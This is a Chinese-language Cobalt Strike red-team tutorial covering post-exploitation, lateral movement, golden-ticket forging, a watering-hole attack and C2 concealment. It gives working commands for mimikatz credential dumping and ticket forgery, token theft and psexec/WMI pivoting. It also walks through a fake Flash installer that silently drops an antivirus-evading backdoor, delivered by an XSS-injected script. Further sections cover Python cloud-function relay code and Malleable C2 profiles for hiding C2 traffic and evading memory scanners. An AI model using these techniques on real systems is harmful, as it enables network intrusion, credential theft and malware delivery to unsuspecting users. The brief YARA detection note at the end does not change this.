直接新建会话选择MSF监听器,或者在beacon使用命令spawn msf 将会话会派生到MSF里,当MSF运行后会收到会话。

MSF派生会话到CS

如果Metasploit已经获取到了一个会话,可以通过payload_inject模块进行会话派生,将会话传递Cobaltstrike里。

首先建立监听器

在MSF中选择 payload_inject 模块,设置参数:disablepayloadhandler来禁止msf监听,建议使用版本较早的MSF,新版MSF会出现不可调和的问题,建议自己实际尝试。

use windows/local/payload_inject 
set disablepayloadhandler true
set paylaod windows/meterpreter/reverse_http 
set lhost IP
set lport 9999
set session 1 
exploit

After penetration-后渗透

CS中有一个自带的凭证提权模块,包括抓取哈希,提权提升,创建令牌,伪造黄金票据,Powershell一句话上线,抓取明文密码,通过其他用户上线等功能继承

抓取Hash

只有管理员权限才能抓取Hash

权限提升

  1. ms14-058
  2. ms15-051
  3. ms16-016
  4. ms16-032

这些都是大家耳熟能详的Windows本地提权漏洞,在此插件中都已经集成

  1. UAC-DLL

这是一种绕过UAC的攻击,它试图将本地管理员运行的有效负载从低权限提升到高权限。此攻击使用 UAC漏洞将ArtifactKit生成的DLL复制到特权位置。此攻击适用于Windows7和Windows8及更高版本的未修补版本。

  1. uac-token-duplication

这是另一种绕过UAC的攻击,将其从低权限提升到高权限(作为本地管理员)。这种攻击使用一个UAC 漏洞,允许非提升进程使用从提升进程中窃取的令牌启动任意进程。此漏洞要求攻击删除分配给提升令 牌的多个权限。此攻击适用于Windows7及更高版本。如果AlwaysNotify处于其最高设置,则此攻击要 求提升的进程已在当前桌面会话中运行(作为同一用户),此漏洞使用PowerShell生成会话。

  1. Uac-eventvwr

这种提权方法是利用时间查看器eventvwr,通过注册表之后,执行Eventvwr.exe会自动加载我们的A.exe(exp),这个时候他的权限就是高了,成功绕过UAV

  1. Uac-wscript

这种绕过uac提权的方法最初是在Empire框架中现身的,该方法只针对Windows7有效 提权方式 在网上找好的插件进行提取

伪造黄金票据

获取相关的信息即可伪造票据,进行持久权限维持

创建令牌

Poweshell一句话

键盘记录

键盘记录有使用2种方式 一种是进程注入 一种是直接使用

选择一个进程来注入

ps              # 查看进程列表

可见 2640 是 notepad.exe 选择它来注入

keylogger 2460 x64
# 有2个选项 x64 和 x86

在 View>Keystrokes 可以看到键盘的记录

屏幕截图

和键盘记录一样可以选择一个进程进行截图

screenshot 2640 x64 90

在 View>Screenshost 可以看到截图

获取明文

使用命令logopasswords获取Hash和明文,也是调用了自带的mimikatz模块

Lateral penetration-横向渗透

横向渗透攻击技术是复杂网络攻击中广泛使用的一种技术,特别是在高级持续威胁(Advanced Persistent Threats,APT)中更加热衷于使用这种攻击方法。攻击者可以利用这些技术,以被攻陷的系统为跳板,访问其他主机,获取包括邮箱、共享文件夹或者凭证信息在内的敏感资源。攻击者可以利用 这些敏感信息,进一步控制其他系统、提升权限或窃取更多有价值的凭证。借助此类攻击,攻击者最终 可能获取域控的访问权限,完全控制基于Windows系统的基础设施或与业务相关的关键账户。在提权后,我们可以用mimikatz 获取目标机的凭证,并进行内网横向移动

使用网络探测列出信任主机

横向移动

一旦你有了域管理员或者是目标机器上的本地管理员域用户的令牌,你可以通过滥用这种信任关系来控制目标。

输入 jump 来列出 Cobalt Strike 中注册的横向移动的选项。运行 jump [module] [target] [listener] 来尝试在远程目标上运行一个 payload。

单独运行 remote-exec 命令来列举 Cobalt Strike 中注册的远程执行模块。使用 remote-exec [module] [target] [command+args] 来尝试在远程目标主机上运行特定的命令。

psexec

  1. 通过 ipc$ 连接,然后释放 psexesvc.exe 到目标机器。
  2. 通过服务管理 SCManager 远程创建 psexecsvc 服务,并启动服务。
  3. 客户端连接执行命令, 服务端启动相应的程序并执行回显数据。

Cobalt Strike 中提供 2 种 psexec 用法

psexec [host] [share] [listener]
psexec_psh [host] [listener]

一种是用 psexec 生成会话 一种是利用 psexec 和 powershell 生成 psh 都与 powershell 有关。

WMI

WMI 的全称是 Windows Management Instrumentation, 它出现在所有的 Windows 操作系统中,并由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统, 攻击者使用 wmi 来进行攻击, 但 Windows 系统默认不会在日志中记录这些操作, 可以做到无日志, 攻击脚本无需写入到磁盘, 增加了隐蔽性, 越来越多的 apt 事件中使用 WMI 进行攻击,利用 WMI 可以进行信息收集、探测,反病毒和虚拟机检测,命令执行,权限持久化等操作。

wmi [host] [listener]

Cobalt Strike 也提供一个 GUI 来使得横向移动更加简单。切换到目标可视化表或转到 View → Targets 。导航到 [target] → Jump 并选择所需的横向移动选项。将打开以下对话框:

首先,决定你想用哪种信任来进行横向移动。如果你想使用你的某个 Beacon 中的令牌,勾选 Use session's current access token (使用会话的当前访问令牌)框。你也可以使用凭据或哈希来进行横向移动。从凭据存储中选择凭据或者手动填写 User 、 Password 和 Domain 字段。Beacon 会使用此信息来为你生成一个访问令牌。记住,你需要在高权限的上下文(管理员权限)中执行这些操作才能生效。

接下来,选择用于横向移动的监听器。在这种场景中,SMB Beacon 通常是一个很好的选择。最后,选择你想从哪个会话中执行横向移动攻击。Cobalt Strike 的异步攻击模型要求每一个攻击都从一个受害系统中执行。如果没有可以展开攻击的 Beacon 会话就没有可以执行此操作的选项。如果你在一个内部行动中,考虑 hook 一个你控制的 Windows 系统并以其作为你使用凭据或哈希攻击其他系统的起点。

点击 Launch (启动)。Cobalt Strike 将激活选定 Beacon 的标签页并对其发出命令。攻击的反馈会展现在 Beacon 的控制台中。

在执行端口扫描后,在目标视图中,选择一个目标,右键–>登录–psexec,即可选择凭证进行横向移动右键点击横向移动,选择合适的模块进行登录

选择Hash进行登录

即可上线

SSH

当内网有 Linux 时 Cobalt Strike 也是考虑到的提供了 ssh 连接, 只需要用目标机的 beacon 去连接就可以了。

直接连接

ssh [target:port] [user] [pass]

ssh-key

ssh [target:port] [user] [/path/to/key.pem]

窃取令牌

使用命令ps,寻找进程,接着命令steal_token pid pid是进程的id 选择合适权限的进程id即可,如果存在域管,也可以获取域管理权限,或者直接进程会话的令牌

然后使用会话的当前访问令牌即可上线

可以使用命令rev2self 返回之前的权限。

制作令牌

使用make_token命令,将之前获取的生成一个命令访问目标主机,这里以访问域控为例

beacon> help make_token
Use: make_token [域\用户名] [密码]

克隆当前访问令牌,并在访问网络资源时设置为指定的用户名和密码

make_token redteam\administrator QWEasd123

与上面一直

伪造黄金票据

黄金票据的原理就是用krbtgt的hash来伪造TGT的内容。更改里面的client参数与session key等。让TGS 以为我就是那个我所声称的人,当然我一般会声称自己是administrator。第四步主要是来验证客户端的 身份。

所谓的黄金票据其实就是kerberos认证的第二个阶段中的tgs的ticket也就是TGT。这个ticket相当于对请 求端的一个身份认证的凭据,如果可以伪造这个ticket,那么就可以伪造任意身份,而黄金票据就是一个实现方式。

首先获取获取域控的权限,得到权限后导出所有hash

Administrator:500:aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962 387:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:689fe33346a9e9fe229395fb36178ecb:::
  • 域普通用户命令 whoai /user 去掉后三位获取域SID:S-1-5-21-2536581826-3274276096-3456299113
mimikatz kerberos::golden /user:Administrator /domain:redteam.club /sid:S-1-5- 21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb
/endin:480 /renewmax:10080 /ptt

使用mimikatz也可以,伪造好之后

访问 shell dir \ad01\c$ 即可获取权限

C2 Puddle attack-C2水坑攻击

水坑攻击是黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做 法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并 植入攻击代码,一旦攻击目标访问该网站就会中招。在渗透测试中,通常用于后台没法拿webshell,在网站找xss漏洞植入后门,当管理员访问时,弹出框诱导管理员下载后门文件。

制作免杀后门

使用cobalt strike 生成shellcode 再转成uuid

打开项目在payload.h填写在load.cpp 加入 隐藏终端框

#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )

生成的uuid字符串 设置 release x64 生成即可

生成即可 免杀的方法有很多,大家自己去找。

创建rar自解压

首先下载登录flash下载exe文件 flashcenter_install_cn.exe 1.设置好压缩名 选择创建自解压

选择高级 设置路径

设置程序

C:\windows\temp\flash.exe C:\windows\temp\flashcenter_install_cn.exe

安静模式 全部隐藏

更新方式 解压并更新文件 覆盖方式 覆盖所有文件

确定即可

修改设置好的文件 图标还是解压的图标 使用工具替换图标

设置好后

image-20230208163338171

当模板执行后自动允许后门和安装程序 后门也会上线

搭建FLASH钓鱼

注册一个类似flash官网的域名,把源码和后门上传到网站上

修改源码 跳转改成后门的地址在后台找xss 填写

<script src="域名/flash.js"></script>

当目标访问 访问网址 或者登录后台的时候

C2 Hiding technology-C2隐藏

如何隐蔽C2服务器是实战中需要注意的问题

Nginx反向代理隐藏C2

  • Teamserver 192.168.0.101
  • Nginx 192.168.0.100

192.168.0.100上配置Nginx反向代理,给192.168.0.101:8089做一个反向代理,访问自动跳转

server {
     listen           80;
     server_name      localhost;
     #charset koi8-r;
 
 #access_log logs/host.access.log main;

     location ~*/jquery{
     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;       p    proxy_pass http://192.168.0.101:8089;
     }
     location /{
     proxy_pass http://www.qq.com;
     }

服务器上准备好jquery-C2.4.profile配置文件,然后启动服务

./teamserver IP 密码 配置文件

配置监听器

Wireshark抓取流量测试后发现:隐藏效果不好

那么在 iptables 可以设置只允许某个IP访问,同理也可以设置限定IP访问Teamserver的IP

sudo iptables -I INPUT -p tcp --dport 8089 -j DROP
sudo iptables -I INPUT -s 192.168.0.100 -p tcp --dport 8089 -j ACCEPT sudo iptables-save

CDN转发技术隐藏C2

通过CDN&HTTPS的加密技术,我们来隐藏C2的流量:C2的一些特征是可以被扫描器扫描到的,如果一旦C2服务器被检测出流量/特征就会遭到拉黑,我们就不能够使用了,我们可以通过一些项目来保护C2服务器不被发现。原理:让cdn转发合法的http或者https流量来达到隐藏的目的。

注册:https://dash.cloudflare.com/

准备一个匿名的域名将DNS设置成 cloudflare 的DNS,打开 cloudflare 主页 添加域名

添加站点后cloudflare会寻找现在的域名解析,扫描完后会给出域名的dns,拿到这个dns到域名商更改dns即可,这里以阿里云为例

设置SSL证书:cloudflare SSL/TLS 加密模式为 完全

选择 源服务器 创建证书 选择 证书类型

即可,然后生成 cobaltstrike 新证书,把pem和key复制下来到 服务器上 然后把cobalt strike 默认的证书文件删除 cobaltstrike.store,生成新的证书

openssl pkcs12 -export -in server.pem -inkey server.key -out cfcert.p12 -name cloudflare_cert -passout pass:密码
keytool -importkeystore -deststorepass  -destkeypass 密码 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 密码 - alias cloudflare_cert

设置c2文件,keystore 这个是生成的文件 password是证书的密码 host是域名头

https-certificate {
set keystore "cfcert.store"set password "123456";
}
http-stager {
set uri_x86 "/api/1"set uri_x64 "/api/2"; client {
header "Host" "XXXXXXXX";} server {
output{ print;
}
}
}
http-get {
set uri "/api/3"; client {
header "Host" "XXXXXXX"; metadata {
base64;
header "Cookie";
}
}
server {
output{ print;
}
}
}
http-post {
set uri "/api/4"; client {
header "Host" "XXXXXXXX"; id {
uri-append;
}
output{ print;
}
}
server {
output{ print;
}
}
}

启动:

./teamserver IP 密码 c2.profile

设置监听器

正常配置就好,只是注意cloudflare免费版本支持解析少量的端口,具体端口如下

http:
80、8080、8880、2052、2082、2086、2095
https:
443、2053、2083、2087、2096、8443

如果在云上有安全规则,访问https://www.cloudflare.com/ips/,去把cloudflare的地址都加入云服务器的安全组,只允许cloudflare链接。可以参考:Cobalt Strike特征隐藏 - Lushun - 博客园 (cnblogs.com)

  1. 配置了cdn

  2. 拥有一个公网域名

  3. 配置cdn的A记录解析使其能解析到C2的ip

  4. 将公网域名填写到cs listener的host处并填写可用的端口

  5. 可达到的效果:受害主机上只会有跟cdn的ip通信的流量,不会有跟真实C2通信的流量,可以保护C2的ip,但是域名还是会暴露。

技术实现重点:

  • 一个不备案的域名,否则这个方式毫无用处
  • 这种技术对http与https没有强制要求,都可以使用,而域前置技术要求是https

域前置技术隐藏C2

域前置技术跟CDN技术比较类似,都是会用到CDN,但域前置技术必须要用https,因为它是基于TLS协议的,域前置还有一个特点是需要修改请求包的host头,修改方法是修改malleable profile文件,我的这篇malleable_profile文件配置概述写了修改方法,而CDN是创建好CDN后直接就可以使用的,不用做过多的配置不过效果也有不同,CDN技术只能用自己的域名,如果自己域名被放进黑名单基本就凉凉,但是域前置技术可以使用别人的高信誉域名来隐藏自己的真实域名,例如用微软的域名伪装自己,当然前提是微软的域名得跟你的域名再同一个CDN下,这种技术现在在不少的CDN厂商下都被禁止了,不一定会利用成功。

原理:同一个cdn厂商下倘若有两个域名a.com,b.com,这时候我们使用curl命令访问第一个a.com并将host名改为b.com这时候,实际访问的是b.com的内容。而一般的监测机制是不会检测host头的。

可达到的效果:通过一个高信任域名隐藏自己的真实域名与ip,且受害主机上的流量只有跟cdn通信的,不会有跟真实c2的。

技术实现重点:

  • 需要基于https
  • 需要知道cdn上的其他高信誉域名或者ip
  • 需要修改malleable profile文件

重定向技术隐藏C2

这种技术有点像乞丐版的CDN或者域前置技术。总的来说就是得有两台vps,一台做重定向,一台是真正的C2,而受害者只与那台做重定向的机器通信,重定向机器只会转发来自beacon的特定流量到C2控制端主机,对于其他流量可以自定义设置处理方法,一般是采用重定向到一些高信誉域名上例如百度等。

可达到的效果:受害者上只会有与重定向机器之间的流量,不会有与真实c2服务器的流量,重定向服务器会将非beacon的请求重定向到一些高信誉域名上,达到迷惑的目的,不过如果受害者ban掉了重定向机器的ip,对攻击者的损失也是很大的。

技术实现重点:

  • 两台服务器
  • 配置apache_rewrite
  • 配置malleable profile文件

可以参考:cobalt strike相关_Shanfenglan7的博客-CSDN博客

云函数技术隐藏C2

其中域前置技术在18年及更早还比较有效,现在越来越多云厂商如cloudflare开始禁止域前置行为。云函数核心思想其实很简单,就是由第三方提供的服务接收C2客户端流量,转发给C2服务端,避免直接暴露服务端。转自:云函数隐藏C2服务器 - 小小小怪将军 - 博客园 (cnblogs.com)

首先创建一个云函数,创建方式选择自定义创建

点击完成创建。

进入函数,选择触发管理,选择API网关触发

随后点击API服务名,进入API服务

选择编辑,修改配置

点击立即完成,发布

在API基础配置里记录公网访问地址

返回函数管理

选择修改函数代码,将内容改成如下即可

# -*- coding: utf8 -*- 
import json,requests,base64 
def main_handler(event, context): 
    response = {} 
    path = None 
    headers = None 
    try:
        C2='http://IP:PORT' 
        if 'path' in event.keys(): 
            path=event['path'
        if 'headers' in event.keys(): 
            headers=event['headers'
        if 'httpMethod' in event.keys() and event['httpMethod'] == 'GET' : 
            resp=requests.get(C2+path,headers=headers,verify=False) 
        else
            resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) 
            print(resp.headers)
            print(resp.content) 
        response={ 
            "isBase64Encoded": True, 
            "statusCode": resp.status_code, 
            "headers": dict(resp.headers), 
            "body": str(base64.b64encode(resp.content))[2:-1] 
        } 
    except Exception as e: 
        print(e) 
    finally: 
        return response

部署发布即可,随后在服务器的Cobaltstrike目录下,新建cloud.profile文件,内容如下

set sleeptime "5000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0";
http-get {
    set uri "/api/x";
    client {
        header "Accept" "*/*";
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "nginx";
        output {
            base64;
            print;
        }
    }
}
http-stager {
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}
http-post {
    set uri "/api/y";
    client {
        header "Accept" "*/*";
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
       }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

随后打开Cobaltstrike,加载cloud.profile,创建监听器,HTTP HOST为之前记录的API网关地址,注意是80端口的那个

随后受害主机正常上线,但是已经经历了云函数隐匿,很难被溯源到真实地址。

自行搜索参考了解:

实战填坑 | 隐藏C2域名地址技巧 - 腾讯云开发者社区-腾讯云 (tencent.com)

流量加密之C2隐藏 - FreeBuf网络安全行业门户

Communication extension-通信扩展

Cobalt Strike 可以引用其他的通讯框架 ExternalC2,ExternalC2 是由 Cobalt Strike 提出的一套规范/框架,它允许黑客根据需要对框架提供的默认 HTTP(S)/DNS/SMB C2 通信通道进行扩展。

相关文章

  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm
  • https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2-extend_main.htm

Profile 资源

C2 Profile 可以调整传输过程中的流量, 一定程度上可以隐蔽 C2 服务器

  • rsmudge/Malleable-C2-Profiles - This repository is a collection of Malleable C2 profiles that you may use. These profiles work with Cobalt Strike 3.x.
  • threatexpress/malleable-c2 - Cobalt Strike Malleable C2 Design and Reference Guide
  • HuskyHacks/CobaltNotion - A spin-off research project. Cobalt Strike x Notion collab 2022

辅助项目

  • CodeXTF2/Burp2Malleable - Quick python utility I wrote to turn HTTP requests from burp suite into Cobalt Strike Malleable C2 profiles

Malleable C2

Beacon 中的 http 通讯由 Malleable-C2 配置文件定义,在启动 teamserver 时来指定我们的配置文件, 每个 CS 只能载入一个配置文件, 多个文件需要启动多个 teamserver

目录下的 c2lint 文件可以检测配置文件的语法问题和测试

chmod +x c2lint
./c2lint [/path/to/my.profile]

profile 语法

简单举例

#
# Backoff POS Malware
#
# This profile takes steps to dress up the POST side of Beacon's C2 to
# look like Backoff. The GET side is left generic.
#

注释符号 #

set sample_name "Backoff POS Malware";

set sleeptime "30000"# use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter

选择赋值 set 用来设置一些程序的默认值 语句以; 结束,类似JavaScript.

代码中 set sleeptime "30000"; 即为设置心跳时间为30000毫秒,set jitter "10"; 为默认抖动系数(0-99%)

set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";

设置 user-agent

Data Transform Language

http-get {
    set uri "/updates";

    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }

    server {
        header "Content-Type" "text/plain";

        output {
            base64;
            print;
        }
    }
}

数据转换,CS内置的几种编码

StatementActionInverse
append "string"Append "string"Remove last LEN("string") characters
base64Base64 EncodeBase64 Decode
base64urlURL-safe Base64 EncodeURL-safe Base64 Decode
maskXOR mask w/ random keyXOR mask w/ same random key
netbiosNetBIOS Encode 'a'NetBIOS Decode 'a'
netbiosuNetBIOS Encode 'A'NetBIOS Decode 'A'
prepend "string"Prepend "string"Remove first LEN("string") characters

数据转换语句可以任意数量顺序组合,以终止语句结束,在转换中只能使用一个终止语句

StatementWhat
header "header"Store data in an HTTP header
parameter "key"Store data in a URI parameter
printSend data as transaction body
uri-appendAppend to URI

终止语句将转换后的数据储存到 Http 头中,参数终止语句将转换的数据 print 来最后发送这些编码的数据

print 是 http-get.server.outputhttp-post.server.outputhttp-stager.server.output 的终止语句配合上文代码可以看出。

其他块使用 headerparameterprinturi-append termination 语句, 如果在 http-post.client.output 上使用 header parameter uri append termination 语句,beacon 会将其响应分块到一个合理的长度,以适应事务的一部分。

Strings

Beacon 的 Profile 语法可以多个地方使用 Strings

ValueSpecial Value
"\n"Newline character
"\r"Carriage Return
"\t"Tab character
"\u####"A unicode character
"\x##"A byte (e.g., \x41 = 'A')
"\"\

Options

Beacon 的默认值, 分为全局和本地, 全局更改 Beacon 的设置,本地用于特定事务。

OptionContextDefault ValueChanges
amsi_disablenullfalse(Attempt to) disable AMSI for execute-assembly, powerpick, and psinject
dns_idlenull0.0.0.0IP address used to indicate no tasks are available to DNS Beacon; Mask for other DNS C2 values
dns_max_txtnull252Maximum length of DNS TXT responses for tasks
dns_sleepnull0Force a sleep prior to each individual DNS request. (in milliseconds)
dns_stager_prependnullnullPrepend text to payload stage delivered to DNS TXT record stager
dns_stager_subhostnull.stage.123456.Subdomain used by DNS TXT record stager.
dns_ttlnull1TTL for DNS replies
host_stagenulltrueHost payload for staging over HTTP, HTTPS, or DNS. Required by stagers.
jitternull0Default jitter factor (0-99%)
maxdnsnull255Maximum length of hostname when uploading data over DNS (0-255)
pipenamenullmsagent_##Name of pipe to use for SMB Beacon's peer-to-peer communication. ## is replaced with a number unique to your team server.
pipename_stagernullstatus_##Name of pipe to use for SMB Beacon's named pipe stager. ## is replaced with a number.
sample_namenullMy ProfileThe name of this profile (used in the Indicators of Compromise report)
sleeptimenull60000Default sleep time (in milliseconds)
spawnto_x86null%windir%\syswow64\rundll32.exeDefault x86 program to open and inject shellcode into
spawnto_x64null%windir%\sysnative\rundll32.exeDefault x64 program to open and inject shellcode into
tcp_portnull4444TCP Beacon listen port
urihttp-get,http-post[required option]Transaction URI
uri_x86http-stagernullx86 payload stage URI
uri_x64http-stagernullx64 payload stage URI
useragentnullInternet Explorer (Random)Default User-Agent for HTTP comms.
verbhttp-get,http-postGET,POSTHTTP Verb to use for transaction

Beacon HTTP Transaction

HTTP请求 参数

RequestComponentBlockData
http-getclientmetadataSession metadata
http-getserveroutputBeacon's tasks
http-postclientidSession ID
http-postclientoutputBeacon's responses
http-postserveroutputEmpty
http-stagerserveroutputEncoded payload stage

HTTP Staging

Beacon 是一个分阶段的 payload,有效负载由 stager 下载并注入内存,在目标内存中有 Beacon 之前 HTTP GET 和 HTTP POST 不会生效。Malleable C2 的 http-stager 块可自定义 HTTP 分段过程。

http-stager {
      set uri_x86 "/get32.gif";
      set uri_x64 "/get64.gif";

uri_x86 选项设置 URI 下载 x86 的 payload,uri_x64 选项设置 URI 下载 64 位的 payload 。

Self-signed Certificates with SSL Beacon

HTTPS Beacon 在其通信中使用 HTTP Beacon 的指示符, Malleable C2 配置文件还可以指定 Beacon C2 服务器的自签名 SSL 证书的参数。

https-certificate {
      set CN       "bobsmalware.com";
      set O        "Bob's Malware";
}

证书参数

OptionExampleDescription
CUSCountry
CNbeacon.cobaltstrike.comCommon Name; Your callback domain
LWashingtonLocality
OStrategic Cyber LLCOrganization Name
OUCertificate DepartmentOrganizational Unit Name
STDCState or Province
validity365Number of days certificate is valid for

Valid SSL Certificates with SSL Beacon

可以选择将有效 SSL 证书与 Beacon 一起使用。使用 Malleable C2 配置文件指定 Java 密钥库文件和密码。此密钥库必须包含证书的私钥,根证书,任何中间证书以及 SSL 证书供应商提供的域证书。

Cobalt Strike 在与 Malleable C2 配置文件相同的文件夹中找到 Java Keystore 文件。

https-certificate {
      set keystore "domain.store";
      set password "mypassword";
}
OptionExampleDescription
OptionExampleDescription
keystoredomain.storeJava Keystore file with certificate information
passwordmypasswordThe password to your Java Keystore

创建用于 Cobalt Strike 的 Beacon 的有效 SSL 证书的步骤

  1. 使用 keytool 程序创建 Java 密钥存储文件。这个程序会询问 “你的姓名是什么?” 确保使用完全权威的域名来响应 Beacon 服务器。另外,请确保记下密钥库密码, 你以后会需要它。

    $ keytool -genkey -keyalg RSA -keysize 2048 -keystore domain.store

  2. 使用 keytool 生成证书签名请求(CSR), 您将向您的 SSL 证书供应商提交此文件, 他们将验证您的身份并颁发证书, 有些供应商比其他供应商更容易和便宜。

    $ keytool -certreq -keyalg RSA -file domain.csr -keystore domain.store

  3. 导入 SSL 供应商提供的 Root 和任何中间证书。

    $ keytool -import -trustcacerts -alias FILE -file FILE.crt -keystore domain.store

  4. 最后,您必须安装域证书。

    $ keytool -import -trustcacerts -alias mykey -file domain.crt -keystore domain.store

就是这样就生成 Cobalt Strike 的 Beacon 一起使用的 Java Keystore 文件。

Code Signing Certificate

提供签署可执行文件或 DLL 文件的选项, 需要 代码签名证书和私钥指定 Java Keystore 文件

code-signer {
            set keystore "keystore.jks";
            set password "password";
            set alias    "server";
}
OptionExampleDescription
aliasserverThe keystore's alias for this certificate
digest_algorithmSHA256The digest algorithm
keystorekeystore.jksJava Keystore file with certificate information
passwordmypasswordThe password to your Java Keystore
timestampfalseTimestamp the file using a third-party service
timestamp_urlhttp://timestamp.digicert.comURL of the timestamp service

PE and Memory Indicators

Malleable C2 stage http-stager 控制 Beacon 如何加载到内存中并编辑 Beacon DLL 的内容。

stage {
            set userwx "false";
            set compile_time "14 Jul 2009 8:14:00";
            set image_size_x86 "512000";
            set image_size_x64 "512000";
            set obfuscate "true";

            transform-x86 {
                        prepend "\x90\x90";
                        strrep "ReflectiveLoader" "DoLegitStuff";
            }
            transform-x64 {
                        # transform the x64 rDLL stage
            }

            stringw "I am not Beacon!";
}

当接受后将字符串添加到 beacon dll 的. rdata 部分,string 命令添加一个以 zero-terminated 的字符串。stringw 命令添加了一个宽(utf-16le 编码)字符串,Transform-x86 和 Transform-X64 阻止 PAD 和 Transform Beacon 的反射 DLL 阶段。这些块支持三个命令:prepend、append 和 strrep.

prepend 命令在 beacon 的反射 dll 之前插入一个字符串, append 命令在 beacon-reflective dll 后面添加一个字符串, 确保预先准备好的数据是阶段体系架构(x86、x64)的有效代码, c2lint 程序没有对此进行检查, strrep 命令替换 beacon 反射 dll 中的字符串。

stage 块接受 Beacon DLL 内容的选项:

OptionExampleDescription
checksum0The CheckSum value in Beacon's PE header
cleanupfalseAsk Beacon to attempt to free memory associated with the Reflective DLL package that initialized it.
compile_time14 July 2009 8:14:00The build time in Beacon's PE header
entry_point92145The EntryPoint value in Beacon's PE header
image_size_x64512000SizeOfImage value in x64 Beacon's PE header
image_size_x86512000SizeOfImage value in x86 Beacon's PE header
module_x64xpsservices.dllSame as module_x86; affects x64 loader
module_x86xpsservices.dllAsk the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc.
namebeacon.x64.dllThe Exported name of the Beacon DLL
obfuscatefalseObfuscate the Reflective DLL's import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers.
rich_headernullMeta-information inserted by the compiler
sleep_maskfalseObfuscate Beacon, in-memory, prior to sleeping
stomppetrueAsk ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload
userwxfalseAsk ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory

Cloning PE Headers

Cobalt Strike 的 Linux 软件包, 包括一个工具 peclone,用于从 dll 中提取头文件并将其显示为一个随时可用的阶段块:

./peclone [/path/to/sample.dll]

In-memory Evasion and Obfuscation

使用 stage 块的 prepend 命令来破坏分析,该分析扫描内存段的前几个字节以查找注入的 dll 的迹象。如果使用特定于工具的字符串检测代理,请使用 strrep 命令更改它们。

如果 strrep 不够,请将 sleep_mask 设置为 true。这将引导信标在进入睡眠状态之前在记忆中模糊自己。在休眠之后,信标会将自己的模糊处理为请求和处理任务。SMB 和 TCP 信标在等待新连接或等待来自其父会话的数据时会使它们自己变得模糊。

决定您希望在内存中看起来有多像一个 DLL。如果您希望方便检测,请将 stomppe 设置为 false。如果您想在内存中稍微混淆信标 dll,请将 stomppe 设置为 true。如果你想挑战,将 “模糊” 设置为“真”。此选项将采取许多步骤来模糊信标阶段和内存中 DLL 的最终状态。

将 userwx 设置为 false 以询问 beacon 的加载器以避免 rwx 权限。具有这些权限的内存段将吸引分析师和安全产品的额外关注。

默认情况下,Beacon 的加载程序使用 virtualloc 分配内存。模块踩踏是一种替代方法。将 module_x86 设置为一个大约是 beacon 有效载荷本身两倍大的 dll。Beacon 的 x86 加载程序将加载指定的 dll,在内存中查找其位置并覆盖它。这是一种在内存中定位信标的方法,Windows 将其与磁盘上的文件关联。您要驻留的应用程序不需要您选择的 DLL,这一点很重要。模块_x64 选项的情况相同,但它会影响 x64 信标。

如果您担心在内存中初始化 beacon dll 的 beacon 阶段,请将 cleanup 设置为 true。此选项将在不再需要信标阶段时释放与之关联的内存。

Process Injection

Malleable C2 配置文件中的进程注入块可以注入内容并控制进程注入行为

process-inject {
            set min_alloc "16384";
            set startrwx "true";
            set userwx "false";

            transform-x86 {
                        prepend "\x90\x90";
            }
            transform-x64 {
                        # transform x64 injected content
            }

            disable "CreateRemoteThread";
}

transform-x86 和 transform-x64 阻止 Beacon 注入的 PAD 内容。这些块支持两个命令:prepend 和 append

prepend 命令在插入的内容之前插入一个字符串。append 命令在注入的内容之后添加一个字符串。确保预先准备好的数据是注入内容体系结构(x86、x64)的有效代码。c2lint 程序没有对此进行检查。

disable 语句是避免在 beacon 的进程注入例程中使用某些 API 的提示。您可以禁用:sethreadcontext、createRemoteThread 和 rtlcreateUserThread。请注意,当您禁用这些调用时,可能会在 Beacon 的进程注入例程中引入可避免的失败。c2lint 命令会发出一些警告。

process-inject 块接受几个控制 Beacon 中的过程注入的选项

OptionExampleDescription
min_alloc4096Minimum amount of memory to request for injected content
startrwxtrueUse RWX as initial permissions for injected content. Alternative is RW.
userwxfalseUse RWX as final permissions for injected content. Alternative is RX.

compile_time参数

C2 Sample rule-样本规则

目录中有一个 CobaltStrike.jar 文件,直接解压,这里面有一个名为 resources 的文件夹,就是 CobaltStrike 的配置信息,我们在 CobaltStrike 控制台生成的木马都来源于这个文件夹。

可以直接分析这里面的样本,提取规则进行查杀。

匹配CobaltStrike恶意样本

  • 2021年 hw红队样本分析(三) - NimShellcodeLoader - J0o1ey - 博客园 (cnblogs.com)
  • Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本-安全客 - 安全资讯平台 (anquanke.com)
  • 样本分析] 海莲花CS样本_哎呀呀呀浅汐的博客-CSDN博客

